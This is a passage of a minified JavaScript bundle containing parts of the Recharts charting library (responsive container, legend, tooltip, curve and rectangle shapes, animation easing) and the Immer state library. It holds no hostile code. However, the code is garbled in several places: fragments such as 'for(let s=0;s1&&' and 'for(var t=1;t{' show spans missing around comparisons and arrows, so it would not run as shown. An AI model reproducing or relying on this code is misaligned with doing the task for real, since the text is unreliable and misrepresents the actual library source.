to control the + height and width.`,k,z,i,s,o,l,n),m.createElement("div",{id:f?"".concat(f):void 0,className:Qe("recharts-responsive-container",p),style:By(By({},x),{},{width:i,height:s,minWidth:o,minHeight:l,maxHeight:c}),ref:g},m.createElement("div",{style:VT({width:i,height:s})},m.createElement(wk,{width:k,height:z},u)))}),Fy=m.forwardRef((e,t)=>{var n=Jx();if(Si(n.width)&&Si(n.height))return e.children;var{width:r,height:i}=HT({width:e.width,height:e.height,aspect:e.aspect}),{calculatedWidth:s,calculatedHeight:o}=yk(void 0,void 0,{width:r,height:i,aspect:e.aspect,maxHeight:e.maxHeight});return ge(s)&&ge(o)?m.createElement(wk,{width:s,height:o},e.children):m.createElement(XT,Zp({},e,{width:r,height:i,ref:t}))});function e0(e){if(e)return{x:e.x,y:e.y,upperWidth:"upperWidth"in e?e.upperWidth:e.width,lowerWidth:"lowerWidth"in e?e.lowerWidth:e.width,width:e.width,height:e.height}}var Wd=()=>{var e,t=Jn(),n=je(IT),r=je(Fd),i=(e=je(Bd))===null||e===void 0?void 0:e.padding;return!t||!r||!i?n:{width:r.width-i.left-i.right,height:r.height-i.top-i.bottom,x:i.left,y:i.top}},ZT={top:0,bottom:0,left:0,right:0,width:0,height:0,brushBottom:0},QT=()=>{var e;return(e=je(kt))!==null&&e!==void 0?e:ZT},JT=()=>je(Hr),eM=()=>je(Kr),De=e=>e.layout.layoutType,bs=()=>je(De),tM=()=>{var e=bs();if(e==="horizontal"||e==="vertical")return e},jk=e=>{var t=e.layout.layoutType;if(t==="centric"||t==="radial")return t},nM=()=>{var e=bs();return e!==void 0},cl=e=>{var t=ot(),n=Jn(),{width:r,height:i}=e,s=Jx(),o=r,l=i;return s&&(o=s.width>0?s.width:r,l=s.height>0?s.height:i),m.useEffect(()=>{!n&&Si(o)&&Si(l)&&t(uT({width:o,height:l}))},[t,n,o,l]),null},Nk=Symbol.for("immer-nothing"),Wy=Symbol.for("immer-draftable"),hn=Symbol.for("immer-state");function Vn(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var Wo=Object.getPrototypeOf;function ls(e){return!!e&&!!e[hn]}function ma(e){var t;return e?kk(e)||Array.isArray(e)||!!e[Wy]||!!((t=e.constructor)!=null&&t[Wy])||ul(e)||Vd(e):!1}var rM=Object.prototype.constructor.toString(),Uy=new WeakMap;function kk(e){if(!e||typeof e!="object")return!1;const t=Object.getPrototypeOf(e);if(t===null||t===Object.prototype)return!0;const n=Object.hasOwnProperty.call(t,"constructor")&&t.constructor;if(n===Object)return!0;if(typeof n!="function")return!1;let r=Uy.get(n);return r===void 0&&(r=Function.toString.call(n),Uy.set(n,r)),r===rM}function xu(e,t,n=!0){Ud(e)===0?(n?Reflect.ownKeys(e):Object.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function Ud(e){const t=e[hn];return t?t.type_:Array.isArray(e)?1:ul(e)?2:Vd(e)?3:0}function Qp(e,t){return Ud(e)===2?e.has(t):Object.prototype.hasOwnProperty.call(e,t)}function zk(e,t,n){const r=Ud(e);r===2?e.set(t,n):r===3?e.add(n):e[t]=n}function iM(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}function ul(e){return e instanceof Map}function Vd(e){return e instanceof Set}function Wi(e){return e.copy_||e.base_}function Jp(e,t){if(ul(e))return new Map(e);if(Vd(e))return new Set(e);if(Array.isArray(e))return Array.prototype.slice.call(e);const n=kk(e);if(t===!0||t==="class_only"&&!n){const r=Object.getOwnPropertyDescriptors(e);delete r[hn];let i=Reflect.ownKeys(r);for(let s=0;s1&&Object.defineProperties(e,{set:Yl,add:Yl,clear:Yl,delete:Yl}),Object.freeze(e),t&&Object.values(e).forEach(n=>t0(n,!0))),e}function aM(){Vn(2)}var Yl={value:aM};function Hd(e){return e===null||typeof e!="object"?!0:Object.isFrozen(e)}var sM={};function pa(e){const t=sM[e];return t||Vn(0,e),t}var Uo;function Sk(){return Uo}function oM(e,t){return{drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0}}function Vy(e,t){t&&(pa("Patches"),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function eh(e){th(e),e.drafts_.forEach(lM),e.drafts_=null}function th(e){e===Uo&&(Uo=e.parent_)}function Hy(e){return Uo=oM(Uo,e)}function lM(e){const t=e[hn];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function Ky(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];return e!==void 0&&e!==n?(n[hn].modified_&&(eh(t),Vn(4)),ma(e)&&(e=vu(t,e),t.parent_||gu(t,e)),t.patches_&&pa("Patches").generateReplacementPatches_(n[hn].base_,e,t.patches_,t.inversePatches_)):e=vu(t,n,[]),eh(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==Nk?e:void 0}function vu(e,t,n){if(Hd(t))return t;const r=e.immer_.shouldUseStrictIteration(),i=t[hn];if(!i)return xu(t,(s,o)=>Yy(e,i,t,s,o,n),r),t;if(i.scope_!==e)return t;if(!i.modified_)return gu(e,i.base_,!0),i.base_;if(!i.finalized_){i.finalized_=!0,i.scope_.unfinalizedDrafts_--;const s=i.copy_;let o=s,l=!1;i.type_===3&&(o=new Set(s),s.clear(),l=!0),xu(o,(c,u)=>Yy(e,i,s,c,u,n,l),r),gu(e,s,!1),n&&e.patches_&&pa("Patches").generatePatches_(i,n,e.patches_,e.inversePatches_)}return i.copy_}function Yy(e,t,n,r,i,s,o){if(i==null||typeof i!="object"&&!o)return;const l=Hd(i);if(!(l&&!o)){if(ls(i)){const c=s&&t&&t.type_!==3&&!Qp(t.assigned_,r)?s.concat(r):void 0,u=vu(e,i,c);if(zk(n,r,u),ls(u))e.canAutoFreeze_=!1;else return}else o&&n.add(i);if(ma(i)&&!l){if(!e.immer_.autoFreeze_&&e.unfinalizedDrafts_<1||t&&t.base_&&t.base_[r]===i&&l)return;vu(e,i),(!t||!t.scope_.parent_)&&typeof r!="symbol"&&(ul(n)?n.has(r):Object.prototype.propertyIsEnumerable.call(n,r))&&gu(e,i)}}}function gu(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&t0(t,n)}function cM(e,t){const n=Array.isArray(e),r={type_:n?1:0,scope_:t?t.scope_:Sk(),modified_:!1,finalized_:!1,assigned_:{},parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1};let i=r,s=n0;n&&(i=[r],s=Vo);const{revoke:o,proxy:l}=Proxy.revocable(i,s);return r.draft_=l,r.revoke_=o,l}var n0={get(e,t){if(t===hn)return e;const n=Wi(e);if(!Qp(n,t))return uM(e,n,t);const r=n[t];return e.finalized_||!ma(r)?r:r===dm(e.base_,t)?(fm(e),e.copy_[t]=rh(r,e)):r},has(e,t){return t in Wi(e)},ownKeys(e){return Reflect.ownKeys(Wi(e))},set(e,t,n){const r=Ck(Wi(e),t);if(r!=null&&r.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=dm(Wi(e),t),s=i==null?void 0:i[hn];if(s&&s.base_===n)return e.copy_[t]=n,e.assigned_[t]=!1,!0;if(iM(n,i)&&(n!==void 0||Qp(e.base_,t)))return!0;fm(e),nh(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_[t]=!0),!0},deleteProperty(e,t){return dm(e.base_,t)!==void 0||t in e.base_?(e.assigned_[t]=!1,fm(e),nh(e)):delete e.assigned_[t],e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=Wi(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{writable:!0,configurable:e.type_!==1||t!=="length",enumerable:r.enumerable,value:n[t]}},defineProperty(){Vn(11)},getPrototypeOf(e){return Wo(e.base_)},setPrototypeOf(){Vn(12)}},Vo={};xu(n0,(e,t)=>{Vo[e]=function(){return arguments[0]=arguments[0][0],t.apply(this,arguments)}});Vo.deleteProperty=function(e,t){return Vo.set.call(this,e,t,void 0)};Vo.set=function(e,t,n){return n0.set.call(this,e[0],t,n,e[0])};function dm(e,t){const n=e[hn];return(n?Wi(n):e)[t]}function uM(e,t,n){var i;const r=Ck(t,n);return r?"value"in r?r.value:(i=r.get)==null?void 0:i.call(e.draft_):void 0}function Ck(e,t){if(!(t in e))return;let n=Wo(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=Wo(n)}}function nh(e){e.modified_||(e.modified_=!0,e.parent_&&nh(e.parent_))}function fm(e){e.copy_||(e.copy_=Jp(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var dM=class{constructor(e){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!0,this.produce=(t,n,r)=>{if(typeof t=="function"&&typeof n!="function"){const s=n;n=t;const o=this;return function(c=s,...u){return o.produce(c,d=>n.call(this,d,...u))}}typeof n!="function"&&Vn(6),r!==void 0&&typeof r!="function"&&Vn(7);let i;if(ma(t)){const s=Hy(this),o=rh(t,void 0);let l=!0;try{i=n(o),l=!1}finally{l?eh(s):th(s)}return Vy(s,r),Ky(i,s)}else if(!t||typeof t!="object"){if(i=n(t),i===void 0&&(i=t),i===Nk&&(i=void 0),this.autoFreeze_&&t0(i,!0),r){const s=[],o=[];pa("Patches").generateReplacementPatches_(t,i,s,o),r(s,o)}return i}else Vn(1,t)},this.produceWithPatches=(t,n)=>{if(typeof t=="function")return(o,...l)=>this.produceWithPatches(o,c=>t(c,...l));let r,i;return[this.produce(t,n,(o,l)=>{r=o,i=l}),r,i]},typeof(e==null?void 0:e.autoFreeze)=="boolean"&&this.setAutoFreeze(e.autoFreeze),typeof(e==null?void 0:e.useStrictShallowCopy)=="boolean"&&this.setUseStrictShallowCopy(e.useStrictShallowCopy),typeof(e==null?void 0:e.useStrictIteration)=="boolean"&&this.setUseStrictIteration(e.useStrictIteration)}createDraft(e){ma(e)||Vn(8),ls(e)&&(e=fM(e));const t=Hy(this),n=rh(e,void 0);return n[hn].isManual_=!0,th(t),n}finishDraft(e,t){const n=e&&e[hn];(!n||!n.isManual_)&&Vn(9);const{scope_:r}=n;return Vy(r,t),Ky(void 0,r)}setAutoFreeze(e){this.autoFreeze_=e}setUseStrictShallowCopy(e){this.useStrictShallowCopy_=e}setUseStrictIteration(e){this.useStrictIteration_=e}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(e,t){let n;for(n=t.length-1;n>=0;n--){const i=t[n];if(i.path.length===0&&i.op==="replace"){e=i.value;break}}n>-1&&(t=t.slice(n+1));const r=pa("Patches").applyPatches_;return ls(e)?r(e,t):this.produce(e,i=>r(i,t))}};function rh(e,t){const n=ul(e)?pa("MapSet").proxyMap_(e,t):Vd(e)?pa("MapSet").proxySet_(e,t):cM(e,t);return(t?t.scope_:Sk()).drafts_.push(n),n}function fM(e){return ls(e)||Vn(10,e),Pk(e)}function Pk(e){if(!ma(e)||Hd(e))return e;const t=e[hn];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=Jp(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=Jp(e,!0);return xu(n,(i,s)=>{zk(n,i,Pk(s))},r),t&&(t.finalized_=!1),n}var mM=new dM;mM.produce;var pM={settings:{layout:"horizontal",align:"center",verticalAlign:"middle",itemSorter:"value"},size:{width:0,height:0},payload:[]},Ek=nn({name:"legend",initialState:pM,reducers:{setLegendSize(e,t){e.size.width=t.payload.width,e.size.height=t.payload.height},setLegendSettings(e,t){e.settings.align=t.payload.align,e.settings.layout=t.payload.layout,e.settings.verticalAlign=t.payload.verticalAlign,e.settings.itemSorter=t.payload.itemSorter},addLegendPayload:{reducer(e,t){e.payload.push(t.payload)},prepare:He()},replaceLegendPayload:{reducer(e,t){var{prev:n,next:r}=t.payload,i=qn(e).payload.indexOf(n);i>-1&&(e.payload[i]=r)},prepare:He()},removeLegendPayload:{reducer(e,t){var n=qn(e).payload.indexOf(t.payload);n>-1&&e.payload.splice(n,1)},prepare:He()}}}),{setLegendSize:ZV,setLegendSettings:QV,addLegendPayload:_k,replaceLegendPayload:Ak,removeLegendPayload:Ok}=Ek.actions,hM=Ek.reducer;function ih(){return ih=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{separator:t=ja.separator,contentStyle:n,itemStyle:r,labelStyle:i=ja.labelStyle,payload:s,formatter:o,itemSorter:l,wrapperClassName:c,labelClassName:u,label:d,labelFormatter:f,accessibilityLayer:p=ja.accessibilityLayer}=e,h=()=>{if(s&&s.length){var N={padding:0,margin:0},k=(l?Cd(s,l):s).map((z,S)=>{if(z.type==="none")return null;var A=z.formatter||o||yM,{value:_,name:O}=z,P=_,D=O;if(A){var V=A(_,O,z,S,s);if(Array.isArray(V))[P,D]=V;else if(V!=null)P=V;else return null}var R=Bs(Bs({},ja.itemStyle),{},{color:z.color||ja.itemStyle.color},r);return m.createElement("li",{className:"recharts-tooltip-item",key:"tooltip-item-".concat(S),style:R},Lr(D)?m.createElement("span",{className:"recharts-tooltip-item-name"},D):null,Lr(D)?m.createElement("span",{className:"recharts-tooltip-item-separator"},t):null,m.createElement("span",{className:"recharts-tooltip-item-value"},P),m.createElement("span",{className:"recharts-tooltip-item-unit"},z.unit||""))});return m.createElement("ul",{className:"recharts-tooltip-item-list",style:N},k)}return null},x=Bs(Bs({},ja.contentStyle),n),g=Bs({margin:0},i),y=!Mt(d),v=y?d:"",b=Qe("recharts-default-tooltip",c),w=Qe("recharts-tooltip-label",u);y&&f&&s!==void 0&&s!==null&&(v=f(d,s));var j=p?{role:"status","aria-live":"assertive"}:{};return m.createElement("div",ih({className:b,style:x},j),m.createElement("p",{className:w,style:g},m.isValidElement(v)?v:"".concat(v)),h())},Fs="recharts-tooltip-wrapper",wM={visibility:"hidden"};function jM(e){var{coordinate:t,translateX:n,translateY:r}=e;return Qe(Fs,{["".concat(Fs,"-right")]:ge(n)&&t&&ge(t.x)&&n>=t.x,["".concat(Fs,"-left")]:ge(n)&&t&&ge(t.x)&&n=t.y,["".concat(Fs,"-top")]:ge(r)&&t&&ge(t.y)&&r0?i:0),f=n[r]+i;if(t[r])return o[r]?d:f;var p=c[r];if(p==null)return 0;if(o[r]){var h=d,x=p;return hy?Math.max(d,p):Math.max(f,p)}function NM(e){var{translateX:t,translateY:n,useTranslate3d:r}=e;return{transform:r?"translate3d(".concat(t,"px, ").concat(n,"px, 0)"):"translate(".concat(t,"px, ").concat(n,"px)")}}function kM(e){var{allowEscapeViewBox:t,coordinate:n,offsetTop:r,offsetLeft:i,position:s,reverseDirection:o,tooltipBox:l,useTranslate3d:c,viewBox:u}=e,d,f,p;return l.height>0&&l.width>0&&n?(f=Gy({allowEscapeViewBox:t,coordinate:n,key:"x",offset:i,position:s,reverseDirection:o,tooltipDimension:l.width,viewBox:u,viewBoxDimension:u.width}),p=Gy({allowEscapeViewBox:t,coordinate:n,key:"y",offset:r,position:s,reverseDirection:o,tooltipDimension:l.height,viewBox:u,viewBoxDimension:u.height}),d=NM({translateX:f,translateY:p,useTranslate3d:c})):d=wM,{cssProperties:d,cssClasses:jM({translateX:f,translateY:p,coordinate:n})}}function Xy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ql(e){for(var t=1;t{if(t.key==="Escape"){var n,r,i,s;this.setState({dismissed:!0,dismissedAtCoordinate:{x:(n=(r=this.props.coordinate)===null||r===void 0?void 0:r.x)!==null&&n!==void 0?n:0,y:(i=(s=this.props.coordinate)===null||s===void 0?void 0:s.y)!==null&&i!==void 0?i:0}})}})}componentDidMount(){document.addEventListener("keydown",this.handleKeyDown)}componentWillUnmount(){document.removeEventListener("keydown",this.handleKeyDown)}componentDidUpdate(){var t,n;this.state.dismissed&&(((t=this.props.coordinate)===null||t===void 0?void 0:t.x)!==this.state.dismissedAtCoordinate.x||((n=this.props.coordinate)===null||n===void 0?void 0:n.y)!==this.state.dismissedAtCoordinate.y)&&(this.state.dismissed=!1)}render(){var{active:t,allowEscapeViewBox:n,animationDuration:r,animationEasing:i,children:s,coordinate:o,hasPayload:l,isAnimationActive:c,offset:u,position:d,reverseDirection:f,useTranslate3d:p,viewBox:h,wrapperStyle:x,lastBoundingBox:g,innerRef:y,hasPortalFromProps:v}=this.props,b=typeof u=="number"?u:u.x,w=typeof u=="number"?u:u.y,{cssClasses:j,cssProperties:N}=kM({allowEscapeViewBox:n,coordinate:o,offsetLeft:b,offsetTop:w,position:d,reverseDirection:f,tooltipBox:{height:g.height,width:g.width},useTranslate3d:p,viewBox:h}),k=v?{}:ql(ql({transition:c&&t?"transform ".concat(r,"ms ").concat(i):void 0},N),{},{pointerEvents:"none",visibility:!this.state.dismissed&&t&&l?"visible":"hidden",position:"absolute",top:0,left:0}),z=ql(ql({},k),{},{visibility:!this.state.dismissed&&t&&l?"visible":"hidden"},x);return m.createElement("div",{xmlns:"http://www.w3.org/1999/xhtml",tabIndex:-1,className:j,style:z,ref:y},s)}}var Tk=()=>{var e;return(e=je(t=>t.rootProps.accessibilityLayer))!==null&&e!==void 0?e:!0};function sh(){return sh=Object.assign?Object.assign.bind():function(e){for(var t=1;tEe(e.x)&&Ee(e.y),e1=e=>e.base!=null&&yu(e.base)&&yu(e),Ws=e=>e.x,Us=e=>e.y,AM=(e,t)=>{if(typeof e=="function")return e;var n="curve".concat(al(e));if((n==="curveMonotone"||n==="curveBump")&&t){var r=Jy["".concat(n).concat(t==="vertical"?"Y":"X")];if(r)return r}return Jy[n]||yd},t1={connectNulls:!1,type:"linear"},OM=e=>{var{type:t=t1.type,points:n=[],baseLine:r,layout:i,connectNulls:s=t1.connectNulls}=e,o=AM(t,i),l=s?n.filter(yu):n;if(Array.isArray(r)){var c,u=n.map((x,g)=>Qy(Qy({},x),{},{base:r[g]}));i==="vertical"?c=Bl().y(Us).x1(Ws).x0(x=>x.base.x):c=Bl().x(Ws).y1(Us).y0(x=>x.base.y);var d=c.defined(e1).curve(o),f=s?u.filter(e1):u;return d(f)}var p;i==="vertical"&&ge(r)?p=Bl().y(Us).x1(Ws).x0(r):ge(r)?p=Bl().x(Ws).y1(Us).y0(r):p=V5().x(Ws).y(Us);var h=p.defined(yu).curve(o);return h(l)},Xa=e=>{var{className:t,points:n,path:r,pathRef:i}=e,s=bs();if((!n||!n.length)&&!r)return null;var o={type:e.type,points:e.points,baseLine:e.baseLine,layout:e.layout||s,connectNulls:e.connectNulls},l=n&&n.length?OM(o):r;return m.createElement("path",sh({},Mr(e),Lx(e),{className:Qe("recharts-curve",t),d:l===null?void 0:l,ref:i}))},TM=["x","y","top","left","width","height","className"];function oh(){return oh=Object.assign?Object.assign.bind():function(e){for(var t=1;t"M".concat(e,",").concat(i,"v").concat(r,"M").concat(s,",").concat(t,"h").concat(n),FM=e=>{var{x:t=0,y:n=0,top:r=0,left:i=0,width:s=0,height:o=0,className:l}=e,c=RM(e,TM),u=MM({x:t,y:n,top:r,left:i,width:s,height:o},c);return!ge(t)||!ge(n)||!ge(s)||!ge(o)||!ge(r)||!ge(i)?null:m.createElement("path",oh({},Ut(u),{className:Qe("recharts-cross",l),d:BM(t,n,s,o,r,i)}))};function WM(e,t,n,r){var i=r/2;return{stroke:"none",fill:"#ccc",x:e==="horizontal"?t.x-i:n.left+.5,y:e==="horizontal"?n.top+.5:t.y-i,width:e==="horizontal"?r:n.width-1,height:e==="horizontal"?n.height-1:r}}function r1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function i1(e){for(var t=1;te.replace(/([A-Z])/g,t=>"-".concat(t.toLowerCase())),Mk=(e,t,n)=>e.map(r=>"".concat(KM(r)," ").concat(t,"ms ").concat(n)).join(","),YM=(e,t)=>[Object.keys(e),Object.keys(t)].reduce((n,r)=>n.filter(i=>r.includes(i))),Ho=(e,t)=>Object.keys(t).reduce((n,r)=>i1(i1({},n),{},{[r]:e(r,t[r])}),{});function a1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ht(e){for(var t=1;te+(t-e)*n,lh=e=>{var{from:t,to:n}=e;return t!==n},Lk=(e,t,n)=>{var r=Ho((i,s)=>{if(lh(s)){var[o,l]=e(s.from,s.to,s.velocity);return ht(ht({},s),{},{from:o,velocity:l})}return s},t);return n<1?Ho((i,s)=>lh(s)&&r[i]!=null?ht(ht({},s),{},{velocity:bu(s.velocity,r[i].velocity,n),from:bu(s.from,r[i].from,n)}):s,t):Lk(e,r,n-1)};function ZM(e,t,n,r,i,s){var o,l=r.reduce((p,h)=>ht(ht({},p),{},{[h]:{from:e[h],velocity:0,to:t[h]}}),{}),c=()=>Ho((p,h)=>h.from,l),u=()=>!Object.values(l).filter(lh).length,d=null,f=p=>{o||(o=p);var h=p-o,x=h/n.dt;l=Lk(n,l,x),i(ht(ht(ht({},e),t),c())),o=p,u()||(d=s.setTimeout(f))};return()=>(d=s.setTimeout(f),()=>{var p;(p=d)===null||p===void 0||p()})}function QM(e,t,n,r,i,s,o){var l=null,c=i.reduce((f,p)=>{var h=e[p],x=t[p];return h==null||x==null?f:ht(ht({},f),{},{[p]:[h,x]})},{}),u,d=f=>{u||(u=f);var p=(f-u)/r,h=Ho((g,y)=>bu(...y,n(p)),c);if(s(ht(ht(ht({},e),t),h)),p<1)l=o.setTimeout(d);else{var x=Ho((g,y)=>bu(...y,n(1)),c);s(ht(ht(ht({},e),t),x))}};return()=>(l=o.setTimeout(d),()=>{var f;(f=l)===null||f===void 0||f()})}const JM=(e,t,n,r,i,s)=>{var o=YM(e,t);return n==null?()=>(i(ht(ht({},e),t)),()=>{}):n.isStepper===!0?ZM(e,t,n,o,i,s):QM(e,t,n,r,o,i,s)};var wu=1e-4,Ik=(e,t)=>[0,3*e,3*t-6*e,3*e-3*t+1],Dk=(e,t)=>e.map((n,r)=>n*t**r).reduce((n,r)=>n+r),s1=(e,t)=>n=>{var r=Ik(e,t);return Dk(r,n)},e8=(e,t)=>n=>{var r=Ik(e,t),i=[...r.map((s,o)=>s*o).slice(1),0];return Dk(i,n)},t8=e=>{var t,n=e.split("(");if(n.length!==2||n[0]!=="cubic-bezier")return null;var r=(t=n[1])===null||t===void 0||(t=t.split(")")[0])===null||t===void 0?void 0:t.split(",");if(r==null||r.length!==4)return null;var i=r.map(s=>parseFloat(s));return[i[0],i[1],i[2],i[3]]},n8=function(){for(var t=arguments.length,n=new Array(t),r=0;r{var i=s1(e,n),s=s1(t,r),o=e8(e,n),l=u=>u>1?1:u<0?0:u,c=u=>{for(var d=u>1?1:u,f=d,p=0;p<8;++p){var h=i(f)-d,x=o(f);if(Math.abs(h-d)0&&arguments[0]!==void 0?arguments[0]:{},{stiff:n=100,damping:r=8,dt:i=17}=t,s=(o,l,c)=>{var u=-(o-l)*n,d=c*r,f=c+(u-d)*i/1e3,p=c*i/1e3+o;return Math.abs(p-l){if(typeof e=="string")switch(e){case"ease":case"ease-in-out":case"ease-out":case"ease-in":case"linear":return o1(e);case"spring":return i8();default:if(e.split("(")[0]==="cubic-bezier")return o1(e)}return typeof e=="function"?e:null};function s8(e){var t,n=()=>null,r=!1,i=null,s=o=>{if(!r){if(Array.isArray(o)){if(!o.length)return;var l=o,[c,...u]=l;if(typeof c=="number"){i=e.setTimeout(s.bind(null,u),c);return}s(c),i=e.setTimeout(s.bind(null,u));return}typeof o=="string"&&(t=o,n(t)),typeof o=="object"&&(t=o,n(t)),typeof o=="function"&&o()}};return{stop:()=>{r=!0},start:o=>{r=!1,i&&(i(),i=null),s(o)},subscribe:o=>(n=o,()=>{n=()=>null}),getTimeoutController:()=>e}}class o8{setTimeout(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:0,r=performance.now(),i=null,s=o=>{o-r>=n?t(o):typeof requestAnimationFrame=="function"&&(i=requestAnimationFrame(s))};return i=requestAnimationFrame(s),()=>{i!=null&&cancelAnimationFrame(i)}}}function l8(){return s8(new o8)}var c8=m.createContext(l8);function u8(e,t){var n=m.useContext(c8);return m.useMemo(()=>t??n(e),[e,t,n])}var d8=()=>!(typeof window<"u"&&window.document&&window.document.createElement&&window.setTimeout),Kd={isSsr:d8()},f8={begin:0,duration:1e3,easing:"ease",isActive:!0,canBegin:!0,onAnimationEnd:()=>{},onAnimationStart:()=>{}},l1={t:0},mm={t:1};function Yd(e){var t=gn(e,f8),{isActive:n,canBegin:r,duration:i,easing:s,begin:o,onAnimationEnd:l,onAnimationStart:c,children:u}=t,d=n==="auto"?!Kd.isSsr:n,f=u8(t.animationId,t.animationManager),[p,h]=m.useState(d?l1:mm),x=m.useRef(null);return m.useEffect(()=>{d||h(mm)},[d]),m.useEffect(()=>{if(!d||!r)return ys;var g=JM(l1,mm,a8(s),i,h,f.getTimeoutController()),y=()=>{x.current=g()};return f.start([c,o,y,i,l]),()=>{f.stop(),x.current&&x.current(),l()}},[d,r,i,s,o,c,l,f]),u(p.t)}function qd(e){var t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"animation-",n=m.useRef(Ro(t)),r=m.useRef(e);return r.current!==e&&(n.current=Ro(t),r.current=e),n.current}var m8=["radius"],p8=["radius"],c1,u1,d1,f1,m1,p1,h1,x1,v1,g1;function y1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function b1(e){for(var t=1;t{var s=ui(n),o=ui(r),l=Math.min(Math.abs(s)/2,Math.abs(o)/2),c=o>=0?1:-1,u=s>=0?1:-1,d=o>=0&&s>=0||o<0&&s<0?1:0,f;if(l>0&&Array.isArray(i)){for(var p=[0,0,0,0],h=0,x=4;hl?l:y}f=tt(c1||(c1=tr(["M",",",""])),e,t+c*p[0]),p[0]>0&&(f+=tt(u1||(u1=tr(["A ",",",",0,0,",",",",",""])),p[0],p[0],d,e+u*p[0],t)),f+=tt(d1||(d1=tr(["L ",",",""])),e+n-u*p[1],t),p[1]>0&&(f+=tt(f1||(f1=tr(["A ",",",",0,0,",`, + `,",",""])),p[1],p[1],d,e+n,t+c*p[1])),f+=tt(m1||(m1=tr(["L ",",",""])),e+n,t+r-c*p[2]),p[2]>0&&(f+=tt(p1||(p1=tr(["A ",",",",0,0,",`, + `,",",""])),p[2],p[2],d,e+n-u*p[2],t+r)),f+=tt(h1||(h1=tr(["L ",",",""])),e+u*p[3],t+r),p[3]>0&&(f+=tt(x1||(x1=tr(["A ",",",",0,0,",`, + `,",",""])),p[3],p[3],d,e,t+r-c*p[3])),f+="Z"}else if(l>0&&i===+i&&i>0){var v=Math.min(l,i);f=tt(v1||(v1=tr(["M ",",",` + A `,",",",0,0,",",",",",` + L `,",",` + A `,",",",0,0,",",",",",` + L `,",",` + A `,",",",0,0,",",",",",` + L `,",",` + A `,",",",0,0,",",",","," Z"])),e,t+c*v,v,v,d,e+u*v,t,e+n-u*v,t,v,v,d,e+n,t+c*v,e+n,t+r-c*v,v,v,d,e+n-u*v,t+r,e+u*v,t+r,v,v,d,e,t+r-c*v)}else f=tt(g1||(g1=tr(["M ",","," h "," v "," h "," Z"])),e,t,n,r,-n);return f},N1={x:0,y:0,width:0,height:0,radius:0,isAnimationActive:!1,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},Rk=e=>{var t=gn(e,N1),n=m.useRef(null),[r,i]=m.useState(-1);m.useEffect(()=>{if(n.current&&n.current.getTotalLength)try{var W=n.current.getTotalLength();W&&i(W)}catch{}},[]);var{x:s,y:o,width:l,height:c,radius:u,className:d}=t,{animationEasing:f,animationDuration:p,animationBegin:h,isAnimationActive:x,isUpdateAnimationActive:g}=t,y=m.useRef(l),v=m.useRef(c),b=m.useRef(s),w=m.useRef(o),j=m.useMemo(()=>({x:s,y:o,width:l,height:c,radius:u}),[s,o,l,c,u]),N=qd(j,"rectangle-");if(s!==+s||o!==+o||l!==+l||c!==+c||l===0||c===0)return null;var k=Qe("recharts-rectangle",d);if(!g){var z=Ut(t),{radius:S}=z,A=w1(z,m8);return m.createElement("path",ju({},A,{x:ui(s),y:ui(o),width:ui(l),height:ui(c),radius:typeof u=="number"?u:void 0,className:k,d:j1(s,o,l,c,u)}))}var _=y.current,O=v.current,P=b.current,D=w.current,V="0px ".concat(r===-1?1:r,"px"),R="".concat(r,"px 0px"),M=Mk(["strokeDasharray"],p,typeof f=="string"?f:N1.animationEasing);return m.createElement(Yd,{animationId:N,key:N,canBegin:r>0,duration:p,easing:f,isActive:g,begin:h},W=>{var $=At(_,l,W),U=At(O,c,W),B=At(P,s,W),K=At(D,o,W);n.current&&(y.current=$,v.current=U,b.current=B,w.current=K);var Z;x?W>0?Z={transition:M,strokeDasharray:R}:Z={strokeDasharray:V}:Z={strokeDasharray:R};var le=Ut(t),{radius:de}=le,we=w1(le,p8);return m.createElement("path",ju({},we,{radius:typeof u=="number"?u:void 0,className:k,d:j1(B,K,$,U,u),ref:n,style:b1(b1({},Z),t.style)}))})};function k1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return 